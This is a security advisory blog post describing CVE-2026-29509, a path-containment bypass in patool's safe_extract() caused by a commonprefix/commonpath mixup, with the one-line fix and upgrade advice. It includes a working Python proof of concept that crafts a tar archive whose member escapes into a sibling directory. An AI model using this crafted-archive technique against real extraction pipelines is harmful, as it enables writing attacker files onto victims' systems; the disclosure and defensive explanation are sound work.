DEV Community

Cover image for Four Letters Were All It Took to Break This Archive Extractor
Amartya Jha for CodeAnt AI

Posted on Originally published at codeant.ai

Four Letters Were All It Took to Break This Archive Extractor

A security guard function ran on every extraction, passed every test its author wrote, and still let an attacker write files outside the folder it was supposed to protect.

The reason came down to four letters: someone reached for commonprefix when they needed commonpath.

Here's how a string-vs-path mixup became CVE-2026-29509, and how one line fixed it for good.

TL;DR

  • patool's safe_extract() is supposed to stop malicious archives from writing files outside the target folder — the classic "Zip Slip" attack.
  • Its containment check used os.path.commonprefix(), which compares paths as raw character strings, not as actual filesystem paths.
  • Result: a folder named Unpack_AABBCC-evil looks "inside" Unpack_AABBCC to a string comparison, because the names share a prefix. They're not the same directory.
  • Fixed in patool 4.0.5 by swapping to os.path.commonpath(). Upgrade: pip install --upgrade "patool>=4.0.5".
  • CVSS 5.3–5.4 (Medium) — exploitable but requires the victim to extract an attacker-controlled archive.

The setup

Every archive extractor needs one guarantee: nothing you unzip should be able to write outside the folder you're unzipping into.

patool, a Python library that wraps system archive tools and sits quietly inside extraction pipelines all over the ecosystem, has a function whose entire job is enforcing exactly that guarantee. It's called safe_extract().

On Python versions before 3.12, it's the only thing standing between a malicious archive and the rest of your filesystem.

Inside it sits a helper, is_within_directory(), whose one job is to answer a simple question: does this archive member's resolved path actually land inside the target extraction folder?

Reasonable question. Reasonable guard.

Except the function answers it using os.path.commonprefix() — which compares two paths character by character, as strings, not as filesystem paths.

That distinction sounds pedantic until you see what it permits.

Two directories like Unpack_AABBCC and Unpack_AABBCC-evil share a long run of identical leading characters. A character-level comparison sees that shared run and calls it a match.

But Unpack_AABBCC-evil isn't inside Unpack_AABBCC — it's a completely separate sibling directory that just happens to start with the same name. The guard mistakes a stranger for family because they share a first name.

Watching the escape happen

Picture a server extracting an upload into /srv/extract/Unpack_AABBCC.

An archive member resolves to a path inside the sibling folder /srv/extract/Unpack_AABBCC-evil/payload.txt. Run that through the vulnerable check:

os.path.commonprefix(["/srv/extract/Unpack_AABBCC",
                      "/srv/extract/Unpack_AABBCC-evil/payload"])
# -> "/srv/extract/Unpack_AABBCC"   — a string match. Check PASSES.

os.path.commonpath(["/srv/extract/Unpack_AABBCC",
                    "/srv/extract/Unpack_AABBCC-evil/payload"])
# -> "/srv/extract"                 — the real shared parent. Check would FAIL.
Enter fullscreen mode Exit fullscreen mode

commonprefix walks the two strings letter by letter and finds that the entire target directory string is a prefix of the sibling path — so it reports a match. commonpath understands directory boundaries and correctly reports that the only thing the two paths actually share is a level further up.

One function knows what a path is. The other just sees characters.

No ../../ needed. Just one archive member whose resolved path lives in a sibling directory that happens to share the target's name as a prefix — and safe_extract() waves it through.

Proof, not a theory

We don't publish theories, we publish working exploits. Here's a proof of concept run against a real install of patool 4.0.4:

import tarfile, io, os, tempfile
from patoolib.programs.py_tarfile import safe_extract

def build_evil_archive(output_path, outdir_name):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w:gz") as tf:
        safe = b"Totally safe archive, trust me."
        info = tarfile.TarInfo(name="README.txt")
        info.size = len(safe)
        tf.addfile(info, io.BytesIO(safe))

        payload = b"PWNED via patool safe_extract commonprefix bypass"
        evil_name = f"../{outdir_name}-evil/payload.txt"
        info2 = tarfile.TarInfo(name=evil_name)
        info2.size = len(payload)
        tf.addfile(info2, io.BytesIO(payload))

    with open(output_path, "wb") as f:
        f.write(buf.getvalue())

with tempfile.TemporaryDirectory() as parent:
    outdir_name = "Unpack_AABBCC"
    outdir = os.path.join(parent, outdir_name)
    sibling = os.path.join(parent, outdir_name + "-evil")
    os.makedirs(outdir, exist_ok=True)
    os.makedirs(sibling, exist_ok=True)

    archive = os.path.join(parent, "evil.tar.gz")
    build_evil_archive(archive, outdir_name)

    with tarfile.open(archive) as tfile:
        safe_extract(tfile, outdir)        # the guard approves this

    escaped = os.path.join(sibling, "payload.txt")
    if os.path.exists(escaped):
        with open(escaped) as f:
            print(f"[VULNERABILITY CONFIRMED] wrote outside target dir: {f.read()}")
Enter fullscreen mode Exit fullscreen mode

The archive carries an innocent README.txt alongside one member crafted to resolve into the sibling folder.

The guard approves it, extractall writes it, and no exception is raised — because as far as is_within_directory() is concerned, nothing unsafe ever happened. Run it, and the payload shows up exactly where it shouldn't.

The fix: one function name, swapped

The maintainer's fix in patool 4.0.5 is almost anticlimactic in how small it is:

# before: string comparison
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory

# after: path comparison, symlinks resolved, fail closed on ambiguity
abs_directory = os.path.realpath(os.path.abspath(directory))
abs_target = os.path.realpath(os.path.abspath(target))
try:
    return os.path.commonpath([abs_directory, abs_target]) == abs_directory
except ValueError:
    return False
Enter fullscreen mode Exit fullscreen mode

commonprefix became commonpath. That's the core of the fix — the correctly-named function was sitting one line away in the same standard library module the whole time.

The update also resolves symlinks first and treats "can't compare" as "assume it's outside," which is the right conservative default for a security check.

Why a Medium-severity bug is still worth your attention

The CVSS score here is medium — 5.3 to 5.4 depending on version — because exploiting it requires the victim to actually extract an attacker-controlled archive.

It's not an unauthenticated takeover, and we're not going to dress it up as one. But think about where extraction like this actually happens: a CI runner unpacking a build artifact, a server unpacking a user upload, a desktop tool opening a downloaded file.

In each of those, a file landing in the wrong directory is exactly the kind of primitive an attacker builds the next step on.

The deeper reason it's worth remembering isn't the score, it's the shape of the mistake.

A guard that reads correctly, compiles, and passes every test the author wrote — and still fails, because the one input that breaks it is the one input the author never pictured a stranger sending.

That's the gap between how defenders read code and how attackers read it:

Defenders Attackers
What they verify The path they intended The path the author never intended
Test cases Normal extraction, ../../ escape blocked A sibling folder sharing a name prefix
When they stop Passing tests A working exploit

commonprefix standing in for a real containment check isn't unique to patool — it's a recurring shape in Zip Slip guards across languages, wherever someone needs to check "does this path start inside that directory" and reaches for the function whose name reads right instead of the one that actually does the job.

If you've got a path-containment check anywhere in your own code: resolve the paths first, compare them as paths, and default to "not inside" whenever you can't prove otherwise.

The wins

  • Fixed and shipped in patool 4.0.5 — pip install --upgrade "patool>=4.0.5"
  • Responsibly disclosed and coordinated through VulnCheck, from first report to public CVE in a little under four months
  • The maintainer, contacted out of nowhere about a bypass in his archive code, verified it and shipped the correct primitive rather than a band-aid over the one bypass
  • One more open-source dependency the whole ecosystem leans on, a little harder to slip past now

If your codebase touches patool and extracts anything you didn't create yourself, on anything below Python 3.12, this is your nudge to upgrade.

Got a commonprefix-shaped check hiding in your own path-handling code? Worth a second look — this is exactly the kind of thing that passes review and still ships broken.


Metadata for the CVE box

  • CVE: CVE-2026-29509
  • CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
  • CVSS 3.1: 5.4 (Medium) | CVSS 4.0: 5.3 (Medium)
  • Affected: patool < 4.0.5, on Python < 3.12 (practically, Python 3.11)
  • Fix: pip install --upgrade "patool>=4.0.5"
  • Found by: CodeAnt AI offensive engine
  • Coordinator: VulnCheck
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-29509

This report is part of CodeAnt's security research. Check out the full blog here.

Top comments (0)